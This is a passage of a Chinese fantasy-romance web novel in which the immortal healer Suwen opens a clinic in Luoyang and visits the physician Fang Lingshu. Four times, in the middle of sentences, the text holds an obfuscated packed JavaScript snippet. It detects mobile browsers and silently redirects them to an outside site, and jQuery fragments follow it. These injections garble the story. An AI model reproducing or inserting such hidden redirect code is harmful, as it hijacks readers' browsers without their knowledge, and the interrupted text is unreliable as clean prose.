到得傍晚,南市药商亲自带人推着车来送药,素问验好品质,让伙计将药草都搬了进来,不一会儿便将前堂给堆得满满当当。药商拿着单子,一时有些为难,道:“图太医已经付了银钱,但这斤两……” 所有的药材成色、干湿,素问只要一看便知,平日里炼药也无需用秤,因此道:“斤两没问题,你把单子拿给我罢。” 药商伸出手,神色犹自迟疑,素问到桌后签了字,将单子还给了药商。 临行前,药商还是不放心,道:“小娘子,我与药圣谷做生意也不是一年两年,绝不敢克扣药材斤两,但这天气有变化,或许会有所影响也未可知。” 素问不解:“你有话不妨直说。” 药商好声道:“这年头,做生意可不容易,小娘子这几日若是得空过秤,但凡发现重量不足,还请派人来告知一声,我会立即补上。” 素问这才明白对方是怕自己事后找茬,道:“这些药都不错,若有需要,我仍旧会去找你。” “好,好。”药商放下心,又留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15061023|163002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了店铺地址,才告别离去。 素问目送他们离开,等人走远了,仍折返进屋,将药取出一些放进药屉,余下的扎牢,准备存入厢房备用。 天渐渐暗下来,药也整理了大半,素问正挪着梯子准备往顶部放,忽听明月奴道:“阿姐,你怎么不叫我?” 说话间,明月奴已到了跟前,他连忙将素问扶了下来,又看了看四周,道:“我用法术,立刻就能办好。” “你在入定,我自己恰好也无事。”素问拍去手上的药屑,见明月奴去插门板,顺口问道,“你入定的手诀是哪里学来的?” “记不清了,好像开始化成人形就一直在用这个。” “化形前呢?” “我不记得了。”明月奴将门关好,回头问道,“你在仙界化形,会记得自己化形前的经历么?” “我……”素问脑海中不由浮现出一只修长的手,那时她还没有五感,看不见来人,也听不见声音,但她知道,是那双手唤醒了她。 明月奴见她神色恍惚,奇道:“你当真记得?” “不,我不知道点化我的人是谁。”素问说罢,补充道,“可我们不一样,你本来便有生命,我本体却是一本书,所以被点化前是没有意识的,你在做狐狸的时候应当有记忆才对。” “确实如你所说,我肯定是化为人形前就开始修炼的,但我真的没印象。”明月奴挠了挠头,有些苦恼地问道,“阿姐,你问这些,是不是我的手诀有什么问题啊?” 素问一时也说不好,琢磨片刻后,道:“若你一直用着,应当没什么问题,可能是修习法门不同,只是这样一来,我不知该如何将你唤醒。” “哦!随便叫,我不会被惊到。”说罢,明月奴指着屋中央的布袋问道,“这些药材放置有什么讲究么?” “我都写好了。”素问指着布袋上的纸条,又指了指药屉上的字,道,“一一对应,每一个屉子都装满便好。” 明月奴点头,抬手便捻诀施法,不过片刻功夫,所有的药屉都装得满满当当。 素问搓了搓手指,感觉技痒,只是人仙修为有限,而且师父叮嘱过能不施法就不施法,所以素问只能忍住。 明月奴眼角瞥到她的动作,笑道:“阿姐莫急,我好好修炼,等成了厉害的大妖,谁也打不过我的时候,你就能随心所欲施法了。” 素问若有所思:“其实……若是河清海晏,想必仙道也不必躲躲藏藏罢。” “那我也许就要躲藏了。”明月奴摊手。 素问奇怪:“此话怎讲?” “道士捉妖,和尚也捉妖,这世上哪有那许多坏妖怪去捉?便有修士不分好坏了,尤其是我们做狐狸的,千百年来不知担了多少无谓的骂名。” 素问“啊”地一声,评道:“这样不对。” “他们也有成仙了的。”明月奴道,“那就说明天道认可了他们。” “天道……” 天道就一定对么? 素问想起瑶山真君的话,所谓天道,就是天神制定的规则,既如此,必然不是完全对的了,可是若贸然去质疑,未免有以偏概全之嫌,甚至会影响明月奴的心境。想到此处,素问道:“天道对于大多数生灵来说是对的。” 明月奴追问:“那少部分生灵怎么办?” “我不知道。”素问如实回答,“如你所说,曾经修士捉妖是天道所认可的,但更早以前,轩辕坟三妖可以受命于女娲,如今你也受命于司命星君,说明妖在人间修行行走也同样受天道庇护,所以天道应当不是一成不变的,亘古以前的天道与现在或许并不相同。” “你的意思是,天道一直在修正?” 素问点头:“六道一直在变,尤其是人间,古老的规则不一定适用于现在,想来天道是会修正得越来越完善。” 明月奴沉默片刻,忽地一笑:“但还是会有少部分生灵受灾罢,即便已经是极少数了。” “若是以前,我会这样以为,但来人间一个多月,见过了这么多生离死别,你还能说天道决定一切么?天道偏向人,但若是人心的选择错了,一样会生灵涂炭。” 明月奴的眼中似乎出现了暗红的火光,然而这火光一闪而过,他不曾察觉,素问也并未发现。这一瞬后,明月奴打消了继续问下去的念头,蓦然问:“阿姐,我们医庐重新做的牌匾何时能来?” 这话题转得太过于突兀,素问愣了好一会儿,才回答:“图师兄说明早。” 4. 金风玉露(四) 次日清晨,素问在清凉的晨风中睁开眼,耳边传来鸟儿叽叽喳喳的叫声,她路过庭院的水杉树时,抬头看了一眼,发现枝干上竟然有一个硕大的鸟窝,成鸟正在喂食,怪道如此热闹。 药庐门前更加热闹,听上去似乎聚集了不少人,素问到前堂时,明月奴正叉胯站在门边听外面的动静,眉头紧皱,便问到:“怎么了?是不是送牌匾的人?” “是送牌匾,但……”明月奴话音未落,外面忽然响起一阵爆竹声,将他惊得跳了起来。 喧哗声更大,不过这回不是乱糟糟的,而是异口同声地喊话:“恭祝叶医师新店开张!” 连着喊了三声,紧接着便是敲锣打鼓。 明月奴捂着耳朵,抬脚便要去踹门板,素问忙上前拦住,她打开门一看,只见外边有四人捧着一块红布包着的木板,看形状似乎是牌匾,在他们侧前方是两个乐师,一人举着锣,一人抱着鼓,再往前则是两个熟面孔了。 图南和李重琲。 见素问露面,李重琲眼睛一亮,扬手止住了闹声,那些人纷纷垂下头去,周遭顿时安静下来。 明月奴从素问身后探出头,见到图南,不悦道:“师兄!大清早散什么功呢?” 图南讪讪地清了清嗓子,小声道:“这……医庐开张,有李衙内来撑场面,是我等之荣幸,将来你们在洛阳城行走定然方便许多,素问,快来向衙内道谢。” 素问示意明月奴将剩下的门板拆了,好让门开得大一些,自己则上前叉手行礼:“多谢衙内。” “客气客气!”李重琲目光在素问脸上流连了一瞬才收了回去,笑着继续道,“是在下冒昧,医女姐姐不会气恼罢?” “不会。” 李重琲冲手下的人一挥手:“快!给叶医师将牌匾安上!” 众人应声,分工而去,将门口堵住。 素问站到一边,仰着头看他们动作。 李重琲来到她身边,道:“医女姐姐,我在仙客来订好了酒席,好庆贺你医庐开张,你要宴请什么人,只管带他们去——对了,忘记介绍自己,我姓李,名重琲——到了报我的名号,不管多少人,一定给你安排妥当。” 素问摇了摇头:“我只认得图师兄,并没有要请的人。” “只有图太医啊?那不如去絮芳阁,这一家雅致,最适合小桌喝酒!” 素问眨了眨眼,转头看向李重琲,认真问道:“我该请图师兄喝酒么?” 李重琲一愣,反倒不知应当如何回答了,反问道:“不该么?莫非药圣谷不许饮酒作乐?” “那倒没有。”素问说罢,想到图南先前对李重琲的猜测,道,“你来送牌匾撑场面,又给我推荐宴客的去处,按理我不该白白承你的情,所以你要找我看病么?” 李重琲连忙摆手:“叶医师这是什么话?你看我像是有病的样子么?” 素问将李重琲从头到脚打量了一遍,也不用号脉,便知此人家中富足,吃穿俱是精品,看他昨日当街打人的劲头,想来也不是将情绪憋在心里的人,因而身体甚是强壮,确实没有什么毛病。 而且素问也知道李重琲不是为自己求医,她便摇了摇头。 “就是嘛,再说了,我若是有病,去找图太医不也是一样,何必非得劳烦叶医师呢?”李重琲说完,一展折扇,嬉笑道,“我这是爱才!十分爱才!最爱小娘子这般才貌俱全的!” 素问道:“好,等你需要求医的时候再来找我,我一定帮你治好。” 李重琲看着素问认真严肃的神情,一时呆住,直到被一阵欢呼声惊醒,他抬头看去,才发现原来是牌匾挂好了,素问也早已回了医庐。李重琲忍不住笑了起来,收扇敲了敲自己的额头,跟着大家一道往医庐里走去。 因这一番喧闹,过不了几日,大多数城中人都听说了洛水南岸新开了一家医庐,名作“安平”,方灵枢想必也是得了消息,他没有亲自来,而是托自家哥哥带了一箱医书送过来,方家大哥转话道:“我三弟腿伤未愈,不便于行,待到伤好后,若小娘子愿意,他一定登门拜谢。” 素问自然不需要方灵枢谢自己,不过若是他能上门来更好,于是不急着去找方灵枢,而是开始整理医庐。 安平医庐有医师叶素问,有药童明月奴,有时不时前来探望的太医图南,甚至还有庇护他们的李重琲,一切井然有序·,无人敢来寻衅滋事。 但也没有病人上门问诊。 “这……自然是他们有眼无珠了。”图南如此解释。 素问没有听出图南话中有隐意,问道:“怎么说?” “唔……”图南喝了口水,正苦思冥想,忽见明月奴从外面回来,如同见了救星,忙问道,“素问在家中晒药,你怎么跑出去玩?” 素问接过明月奴塞过来的纸条,解释道:“明月奴没有贪玩,是我托他去打听方灵枢的住址,上回跟着去,倒没记下来。” 图南一口水险些喷出,一边咳一边问:“为何打听他的住址?!” 素问早已想好说辞,道:“不是说救人救到底,送佛送到西么?他伤得那么重,我自然要多关注一些。” “但是李衙内明显与那人不对付!你若担心他,我暗中找人去给他医治便是!” “我去看看,图师兄别担心。”素问背着药箱走出柜台,向明月奴点了点头,“你招待好图师兄,我先去了。” “阿姐慢走。”明月奴拍了拍自己的腰,示意道,“有什么事随时传信给我。” 图南“啧”地一声,起身要去拦人,明月奴挡住他,问:“你做什么?” “你做什么?!”图南急道,“不是和你们说过么?那个二世祖不好惹!” “我们不怕。”明月奴扬起下巴,转而忍不住皱起眉,“倒是你,管这么多!你是我们什么人?” 图南被噎住,深感自己一片好心被当做了驴肝肺,气恼不已,抖着手指着明月奴,却半晌也找不出话来反驳,于是更加气愤,索性甩袖离开了医庐。 明月奴“嘁”地一声,毫不在意地去把剩下的药端去院子里晒。 —————— 素问不知医庐里发生的争执,她背着药箱沿着洛河岸走,快要到渡口时,忽然在喧闹中察觉出一丝不寻常——有两个人的脚步声大小恒定,似乎是在跟着她。素问放缓了脚步,到渡口时,不知是不是行人太多冲散了他们,脚步声消失不见了,仿佛刚刚一切都是她的幻觉。 素问没再多留,继续按原定计划上了渡船,沿着运河支流一路向北,从北市下船,直接往东穿过热闹的北市,来到了立行坊前。素问照着字条一路找去,没过一会儿便到了目的地,她抬头看了看牌匾,又转动目光看着进出此地的人,不由得抿住了唇—— 怎么是一家医馆? “半、钱、医、馆。”素问一字一顿地念完,低头看了看自己的药箱,感到一阵不合时宜。 一个妇人从素问身后走来,待绕到前面,看清了素问的容貌,不由面露惊讶:“你是不是那天救下方医师的医女?” 素问抬眸看去,见是一张陌生的脸孔,隐有病容,大约是这家医馆的病人,便点了点头。 “哎!你真是个心善的孩子!还生得如此白净好看!多亏你了!你是来找小方医师的罢?快进快进!”妇人笑得脸上起了褶,十分热情地挽起了素问的胳膊,自顾自地拉着人进了大门。 半钱医馆不算小,比素问那间医庐大上一半。进门后,映入眼帘的是左边是一排小床,因为天热,遮挡的草帘都卷了起来,几个病人正躺着聊天,医馆右边是柜台和药柜,柜台处比其他地方高出一个台阶,阶下等着不少人,看衣着都是平民百姓,其中不乏有衣衫褴褛者。素问目光扫过这些人,落到柜台处,那里没有人,只见柜台后面的药柜占了整整一面墙,拐向房子里侧是书架,外侧临窗是五个药炉,其中两个正煎着药,一个药童托着腮在煽火。 妇人放开了素问,上前问道:“小方医师呢?怎么不见他?” 众人回头看过来,医馆里顿时静了静。 “我在这里。”话音未落,人已从柜台后站起,方灵枢一眼即看到素问,原地愣成了木头。 素问也在打量对方——那日被血糊了满脸,素问并未看清方灵枢的样貌,只记得一双眼睛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15061024|163002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甚是明亮,今日才算是见到了这位战神转世的全貌。素问看着他,脸上难免露出迷茫之色,原因无他,实在是这位面容过于清秀,气质过于儒雅,长身玉立,穿着一身洗得发白的长衫,不大看得出本来颜色,或许是青,亦或是蓝,总之颜色很是浅淡,头发简单以布巾束起,一身的书卷气,与将军武夫没有半点关联。 奇怪的是,素问竟然感觉有些亲切,丝毫没有见生人的拘谨。 “是你!”方灵枢先回过神,立刻面露喜色,放下手中的纸包,跛着脚从柜台后走出,险些摔倒。 素问忙道:“你伤没好,别乱动了!”说罢,她看了看围观的病人,又道,“我去那边坐着等,你先忙,我不着急。” “这……”方灵枢眉头一皱。 “就这样。”素问一点头,背着药箱去书架旁找了个地方坐下,刚好被帘子遮住了身体,避开了外面的视线。 但声音是挡不住的,素问能听见那些病人在议论自己,其中最为突出的就是那位拉着素问进门的妇人,一众称赞素问勇敢、仗义的声音中,妇人忽然另辟蹊径,成功将所有人的目光吸引了过来:“我看那位小娘子对小方医师有些意思,女娃娃的心思我最懂了,不然你们说,她救都救了,怎么还特地再来找小方医师?” 一个男子道:“你想太多了罢,许是她看方医师伤太重,想过来帮着治呢?” 素问点了点头:正是如此。 妇人立刻道:“离方医师受伤都过去多久了?她怎么今日才来?” “可是我确实看见小娘子背了药箱。” “这你就不懂了,女娃娃脸皮薄,贸然上门,别人怎么想?不过她思虑得不够周到,按理说她都知道方医师的住处了,怎么还不知道此处是一个医馆?” 素问扶额,另一只手在膝上展开明月奴的纸条,上面确实没有写这里是医馆,不过话又说回来,不管方灵枢是不是医者,素问都要上门的,明月奴不说也在理。 那厢妇人又继续道:“不过我们也别拆穿,我看呐,要是真成了,那可是美事一桩,瞧他们俩多般配?男才女貌!” 素问暗自摇了摇头,心道方灵枢的红线早就拴到了石水玉腿上,可轮不到他们操心。不过素问心中虽对此甚是笃定,还是觉得继续听下去不大妙,便封了听觉,闭目假寐。 不知过去多久,素问忽然感觉身旁停了人,她睁开眼,正见方灵枢直起腰,素问目光往下,看到面前案几上多了一杯菊花茶。 方灵枢方才看素问闭着眼,于为她已经睡着了,便小心翼翼地放下了水杯,没想到还是将人吵醒,不由歉然:“吵到你了罢?” 素问抬眸,眼神一片清明:“我没睡。”说着,她往外瞥了一眼,发现夕阳斜斜照在医馆门口,屋里除了两个睡着的病者,已经空了,于是起身问,“你忙完了?” 方灵枢点头:“前几日就该去拜访你,以谢救命之恩,只是腿脚实在不便,本想等好点了再去——听说你在惠训坊开了医庐,让大哥送了几本医书去,可用得上?” “还没来得及看。”素问记得自己的来意,没有多加客套,直接道,“我今日来是想为你诊脉。” 方灵枢笑道:“我已经好得差不多了,多谢小娘子。” “不是你的伤,而是先天之症,那天……”素问话说到一半,忽然想起自己那天并未号脉,便道,“那天见你心脉不通,不似新伤,应是旧疾。” 方灵枢一怔,顿了好一会儿,才道:“我听说小娘子来自药圣谷,想必认得张神医。” 素问神色茫然。 方灵枢方才还甚是笃定,见到素问的神情,不由得迟疑起来:“他早就回谷里不出来了,你……不认得?” 素问只好拿出应付图南的说辞:“我一直独居后山,与谷中不大来往,不过我为你治病与他有何干系?” “唔……没什么,只是我的病是娘胎里带来的,年少时也延请不少医师来,都没有起色,反正暂时死不了,便不劳小娘子为我费神了。”方灵枢说着,看着外面,道,“天色不早,这里去惠训坊要穿过小半个洛阳城,我送小娘子早些回去罢。” 5. 金风玉露(五) 素问最终没让方灵枢送自己回去,只借了半钱医馆的马车到河边渡口,等她到家的时候,天已经快黑了。 明月奴掌灯等在门口,见素问回来,先是一喜,等看清她的神情,不由心里一突,问道:“阿姐,不顺利么?” 素问摇了摇头,回屋里放下药箱,原地站了一刻,才回头问:“图师兄是不是明日过来?” “应当是,他后日开始入宫留值三日。怎么问他?难道方郎君的病不好治?” 素问无奈:“他没让我诊脉,却忽然提了一个药圣谷的人,不知是何用意,我得问问图师兄。” 明月奴道:“可惜不知道他的住处,不然直接去找他就更快了。” “明日也行,不急在这一时。”素问说着,从书柜里拖出一个木盒。 明月奴见是方灵枢所赠的医书,奇道:“阿姐遍阅天下医典,怎么想起看这个?” “今天听方郎君提起,忽然想看看……”素问拿出书随手一翻,话语不由一顿——木盒中的三本书竟然都是手抄本,待细看内容,素问不由得站了起来,边看边走到窗边坐下,借着月光看完了小半本后,合本感慨,“差点埋没了他的心意,这不是一般的医书,比起神医淳于意所创《诊籍》内容,有过之而无不及——这是方郎君自己写的病案本。”说到这里,素问一笑,道,“自然,这么说对前人不公,他应当也参考了前人的诊脉记录。” 对于方灵枢的身份,明月奴早有疑问,借此开口道:“阿姐,神尊转世怎么也成了医者?他是医神么?” 素问摇头:“或是久病成医。” “先前看他开医馆,我也没想那么多,谁料他竟然拒绝阿姐!”明月奴摸着下巴猜测道,“莫非他自恃医术高明,自己都治不好,便不相信别人可以?” 素问倒是没想到这个可能,不由愣住:“竟是因为傲慢么?” “也有可能是看不起女子行医,今日阿姐不在,我去外面转了几圈,总算是明白为何没有一个人上门问诊了。”说到这里,明月奴甚是愤懑,“不少人都说女子只能当稳婆,哪里能做正经的医师?还有人说什么士农工商,女子做医工与下九流何异?真是气得我七窍冒烟,要不是星君叮嘱不可伤害凡人,我非得戳瞎了这群人的眼睛!反正他们有眼无珠,留着一对招子也无用!” 素问情绪并不激动,但心里难免也有些茫然,沉默好半晌,才道:“真是这样的话,那李衙内倒是心明眼亮了。” 明月奴撇了撇嘴:“可不见得,图师兄不是说了么,他家里有女子患了隐疾,才不好找男医师。” “这些都只是猜测。”素问重新打起精神,“方郎君是不是心存偏见也暂无定论,等明日问过图师兄,或许就知晓答案了。” 两人俱将希望寄托在图南身上,不想次日从早等到太阳落山,也没见到图南的身影。 明月奴入定醒来,见素问还等在河边,眼看着天就要黑了,他不由抱怨:“怎么回事?他平日里婆婆妈妈,什么事都要安排一遍,今日怎么不说一声就失约?” 素问锁着眉头,低声道:“别是出了什么事,我有些担心。” “嘁,怕什么?我在他身上留了一抹香,他要是出了什么事,我会知道的。” “嗯?”素问有些惊讶,“你什么时候留的?” “刚见面就留了呀,毕竟是要长久打交道的自己人嘛。” 素问想了想,问道:“既如此,你是不是可以据此找到他?” 明月奴挠了挠头,赧然道:“我还没修会追踪,只勉强感应而已。” 素问有些无奈:“不会追踪,留香似乎用处不大。” “嗐!嗐!”明月奴感觉耳朵都在冒热烟,奋力想了想,找不到辩解的话,便扯开话题,“图师兄今天不是要去当值嘛!我去皇城门外等他便是!” 素问点头道:“那快去快回。” 明月奴有心要挽回颜面,一经答应便不再耽搁,飞速奔去太微城外,因太微城不只有一道门,他便在每个守卫眼上施展了幻术,如此即可坐观各个门来往的人。一炷香后,明月奴眉心一亮,他闭上眼,在左掖门见到了图南。明月奴毫不迟疑,当即奔去,将图南拦在了城门外,他本是气势汹汹而来,没成想不等他出声质问失约之人,图南率先冷了脸色,甩袖绕行而去。 这倒是在明月奴意料之外,他傻站了一瞬才回过神,转身拉住图南,道:“图师兄,你不认得我?” “我为何要认得你?”图南硬邦邦地开口。 这明显是置气的话,连明月奴都听出来了。他上下打量了图南一眼,奇道:“你这是吃错了什么药?” 图南冷哼了一声,甩开明月奴的手继续往前,走了几步后又忍不住停下回头,他很是生气,在看到明月奴满脸不悦后,怒气更是到达了顶峰。图南抖着手指向明月奴,压着声音怒道:“不是问我是你们什么人么?不是嫌我多管闲事么?现在找我做什么?!” 明月奴不禁缓缓瞪了大眼睛,眼看着图南快步走向左掖门,才后知后觉地反应过来:图南是因为自己的话生气了。明月奴明白,不代表他能接受,当即骂了一声“有病”,掉头便往回走,这般气冲冲一往无前,直到快到家门口,看见了门口凌霄花边坐等着的人,明月奴才冷静下来。 这一冷静,他才发觉自己似乎闯了一个小祸。 主要根结还是图南小题大做,但这烂摊子还需自己收拾,明月奴十分头疼。 素问从诊籍上抬起头,看着明月奴抓耳挠腮地在桥边徘徊,不禁有些疑惑,她起身迎过去,问道:“图师兄还好么?” “啊?啊!好!蛮好!他上值去了。”明月奴回神,在走向素问的短短几步路里构思好了应对的话,“图师兄说皇宫里事多,今天一整天都在为进宫做准备,所以忘记了来这里,等三日后出宫一定过来。” “三日后?”素问想了想,方灵枢的病一定要在这辈子治好,不过也不急在这几天,心里松了松,点头道,“好,那就等他来,我了解清楚这其中因由,再去找方灵枢。” 明月奴忙道:“阿姐,我认为不能将希望完全寄托在图师兄身上,这几日你还是多去半钱医馆比较好,说不定不需要他,就已经找到了方法。你不用担心家里,若是有病人,我就传消息给你。” 素问心知明月奴此话在理,因此在等待图南下值的这几日,照旧在午后出发去半钱医馆,并且在第二日就为此举找到了理由:来为自己经营医庐取 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15061025|163002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 取经。 方灵枢听了素问的话,不疑有他,当真绞尽脑汁开始为素问出主意。 “或许和医馆的名字有关。”方灵枢分析道。 夏日烈阳撒在院中水缸里,粼粼波光反到了屋内,晃在人脸上,仿若是一场光怪陆离的梦境。素问在柔和的光晕中转过脸来,奇道:“安平医庐,不好么?” 方灵枢晃了晃神,过了一瞬才反应过来,他连忙垂下头,酝酿片刻,才继续道:“想必是取安宁平和之意,在这乱世是可遇不可得的,唉……那就先不说名字,你这医庐是为了给谁治病呢?” 素问理所当然道:“所有人啊。” “这不行。”方灵枢摇了摇头,循循善导,“若要给贵人治病,平民便进不去那道门槛,若是给平民看病,贵人就不会找你。” 素问不假思索:“那就给平民治病罢。” “如此,地方就不对了,洛水南岸多是贵人居处,而且惠训坊中有公主府,平民更加住不起,一般也不大去,你得让他们知道可以去安平医庐看病才行。” “啊……”素问一呆,“我倒不知道这个。” “选址自然很重要,洛水北岸贫苦人多,立行坊虽也有官员住宅,但多半是许多年前的,已经废弃了不少,而且此处邻近北市,来往交通便利。”方灵枢温声解释,“不过你的医庐想必是图太医早早安排好了,他选在惠训坊,也是为了保护你,这世道太乱,你们姐弟二人年纪小,结伴来到洛阳,难免遭歹人惦记。” 素问笑道:“这个不用担心,明月奴本事很大的。” 方灵枢随之一笑,继续道:“我们再说回医庐的名字,其实我的医馆一开始不叫半钱,当年初开,我才十几岁,大家不信任我,见医馆名作‘仁康’——实不相瞒,我自己认为这个名字通俗易懂且有意义——然而别人只觉得这医馆故弄玄虚,也不知是给谁看病,亦不知要花多少钱才能治好。我便又开了义诊……” “哎呀!我也开了义诊,但是根本无人问津!”素问甚是不解,“难道你在这里开义诊也不顺利么?” 方灵枢摇头:“与你一样,同样门可罗雀。后来大家熟了,问起因由,才知道他们觉得我是个不懂医术的,不收钱是为了给自己积攒行医经验。” 素问明白了自己的义诊不光是因为位置而失败,进而想到此处名称,不由恍然:“所以你将医馆改成了‘半钱’……是问诊费么?” 方灵枢点头。 素问沉默了许久,叹了一声:“但是我不能改医庐名称。” 方灵枢面露疑惑,只是不等相问,有病人进门来了,他便向素问道:“我去看看。” 素问点头答应。 方灵枢这一去便是许久,素问等了片刻,起身离开后堂,看着方灵枢瘸着腿来来去去,心中暗自思量是否用灵药将他的腿治一治。素问正想着,忽然衣袖一动,她垂头看去,原来是那个看着药炉的小药童。 药童道:“小娘子能帮我看一会儿么?我肚子痛。” “可以啊。”素问接过团扇,坐到了窗边。 她正看着药,无意间一抬眸,目光落在了外面,一道黄衫身影进入了视野。 是那天见过的少女,石水玉。 6. 金风玉露(六) 素问有一种很奇怪的感觉,石水玉也认得她。 两人目光一对上,石水玉便微微一笑,抬步进了医馆,径直坐在素问身边,似乎早就在等着素问发现她一样。 素问见石水玉坐下,一时不知该如何应对,等了片刻,却见石水玉只看着她笑,并不说话,不禁偏头问道:“你找方医师?” 石水玉摇头,终于开口:“我是因为见到你,才决定进来。” 素问有些不解,转而又想,石水玉或许是要自己帮她看病,便要问询,不过还没开口,便听那头有病人高声道:“是石小娘子来了啊!” 这一声响起,便有好几个病人看过来,纷纷与石水玉打上招呼,连方灵枢也看了过来,笑着冲石水玉点头示意。 素问奇道:“你经常来?” “对呀,对面就是北市,随便一逛就到这里了,很方便的。话说回来,我这几日来,总是听大家说起你,一直不曾遇见,今天终于得了机会。”石水玉看了一眼素问手中的扇子,又道,“这小药童惯会偷懒,支使不动我们了,就来支使你,也不知道去哪里野了。” 素问惊讶:“原来他不是真的不舒服?” “十有八九是装病。”石水玉笑着说,顿了顿,又道:“啊,忘记说,我姓石,名水玉。” “我姓叶……” 石水玉打断道:“我知道叶医师,还知道你在惠训坊开了医庐,我想去的,就是看里面没人,不知道方不方便。” 素问忙道:“自然方便,或许你来了,渐渐就有别人愿意来了!” 石水玉了然:“新店开张是这样的,不太容易,日子久了就好了。” “希望如此。”有了这两句,两人稍稍熟悉了一些,素问便能够坦然开口了,“你来这里是看病么?” “不是,我跟着义父来洛阳客居,这阵子义父有急事回去了,我独自留在这里,无聊得很,听说半钱医馆人多,就来这里与大家聊聊天。” 素问心道,想必聊天是假,见方灵枢是真。她抿唇忍笑,也不戳破,道:“我那里人少,你还愿意去么?” “方才不是说了,这都是暂时的,惠训坊是个好地段,你还愁没人上门寻医么?” 素问不解:“你既不要看病,我那里也没人可与你闲聊,你留在半钱医馆不是更好?还可以日日见到……见到熟人。” “叶医师是女子,应当明白我总是来这里会有诸多不便,多去你那里,就不会有人说闲话了。”石水玉见素问想说话,又接着道,“也不会给方郎君引来麻烦,那日的情形你也见到了,对不对?” 素问再不通人事,也能察觉石水玉此话漏洞百出,不过她并不在乎石水玉的真实目的,便不再多言,道:“好,你随时来都行。” 石水玉暗自松了口气,回头瞥了一眼,道:“方郎君快要忙好了,我可不想不打扰你们,先去了。” “嗯?”素问惊愕地看着石水玉起身,连忙道,“这话是不是应当我来说?” 石水玉掩口一笑,冲素问眨了眨眼,一副心领神会的模样,尔后也不顾素问阻拦,轻快地转身离开了。 “诶?!”素问跟着站起,药却在此时沸了,她只能抽出炭,再抬头时,石水玉已经不见了身影。 方灵枢给病者换完药,发现素问的状况,疾步行来,连腿伤也顾不上了,问道:“怎么了?发生了什么事?你被烫到了么?” “石小娘子好像误会我们了!”素问说完,一低头,看到方灵枢微微颤抖的腿,忙扶着他坐下,一边检查腿伤,一边道,“你别急,我会和她好好解释!” 方灵枢疑惑不已,他弯下身子,侧头去看素问,见她眉头紧皱,决定问个清楚:“石小娘子误会了什么?你又要解释什么?” 素问整理好夹板,抬头看向方灵枢,两人离得这般近,素问都能在方灵枢的眼中清楚地看到自己的五官,自然也能看清方灵枢面上一片冷静从容,她有些奇怪,问道:“石小娘子误会我们的关系,你不紧张么?” 方灵枢怔愣一瞬,忽然红了耳根,他立刻坐直身子,扶素问起身,眼睛却不敢看她,只道:“虽不知你为何这样认为,但我想,石小娘子与我之间并无误会,你大概是误会了,我与石小娘子并无交情。” 素问呆住。 方灵枢温声道:“你坐会儿,我去找小冬回来。” 小冬,应当是那个药童的名字。素问坐在窗边,略有些挫败地想,自己这是太心急了,不知会不会坏了司命的安排。既想到司命,便想起了那日的话,素问心下稍稍安定了一些——战神历劫是大事,司命得了这个差事,肯定时刻关注着,若出了大差错,不等自己去问,他也会找来,如今毫无动静,想必自己一番言行并未对方灵枢和石水玉的姻缘造成不好的影响。 而方灵枢的姻缘…… 方灵枢很快就从后院拎回了小冬,小冬作为石水玉口中的“惯犯”,脸上毫无赧色,过来后自然地接过了扇子去看火,素问退“位”让“贤”,起身站到方灵枢旁边。 “你……” “你……” 两人同时开口,不知怎么,心里都有些怪怪的,不自觉都停了下来。 过了片刻,方灵枢清了清嗓子,道:“你的医庐,我会向病人推荐,有药圣谷的招牌在,很快就会有人上门。” “嗯,方才石小娘子也说了差不多的话。”素问道。 不知为何又扯上了石水玉,方灵枢抿住了嘴。 素问没忍住,问道:“你知道人世八苦么?” 方灵枢点头:“生、老、病、死、求不得、怨憎会、爱别离、五阴盛。叶医师怎么想起说这个?” “如果注定要历经八苦,你会如何?” 方灵枢笑道:“这乱世之中,经历八苦之人数不胜数,我一介平民,无可幸免也是正常的。” “话虽如此,我还是希望你……”素问话说出口,想到司命的话,又知道方灵枢绝无可能幸免,不禁轻叹一声,道:“罢了,今日打扰你许久,我该回去了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15061026|163002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 方灵枢道:“我叫周叔送你。” 素问摇头:“不必了,我在渡口租了马车,他还等在坊门外呢。” 